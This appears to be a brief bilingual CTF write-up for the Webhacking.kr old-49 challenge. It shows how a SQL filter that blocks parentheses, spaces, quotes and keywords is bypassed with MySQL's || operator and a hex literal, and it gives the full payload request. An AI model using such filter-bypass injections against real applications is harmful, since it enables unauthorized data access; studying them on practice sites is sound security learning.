Webhacking.kr old-49
Challenge
Return admin through a heavily filtered numeric SQL expression.
通过严格过滤的数值 SQL 表达式返回 admin。
1 | https://webhacking.kr/challenge/web-24/ |
Analysis
lv 被当作 SQL
表达式使用。当前题目的过滤会拒绝括号、空白字符、引号以及
or、and 等关键字,但没有同时拒绝 MySQL 的
|| 和十六进制字符串字面量。
100||id=0x61646d696e
的两部分分别是一个数值表达式和一个条件表达式。MySQL 中 ||
可作为逻辑 OR 使用,0x61646d696e 会按字符串解释为
admin,所以当记录的 id 为 admin
时,条件为真并可被页面选中。
Solution
向 old-49 的 challenge URL 发送以下完整请求:
1 | https://webhacking.kr/challenge/web-24/?lv=100%7C%7Cid%3D0x61646d696e |
未编码显示时,lv 的原始值是:
1 | 100||id=0x61646d696e |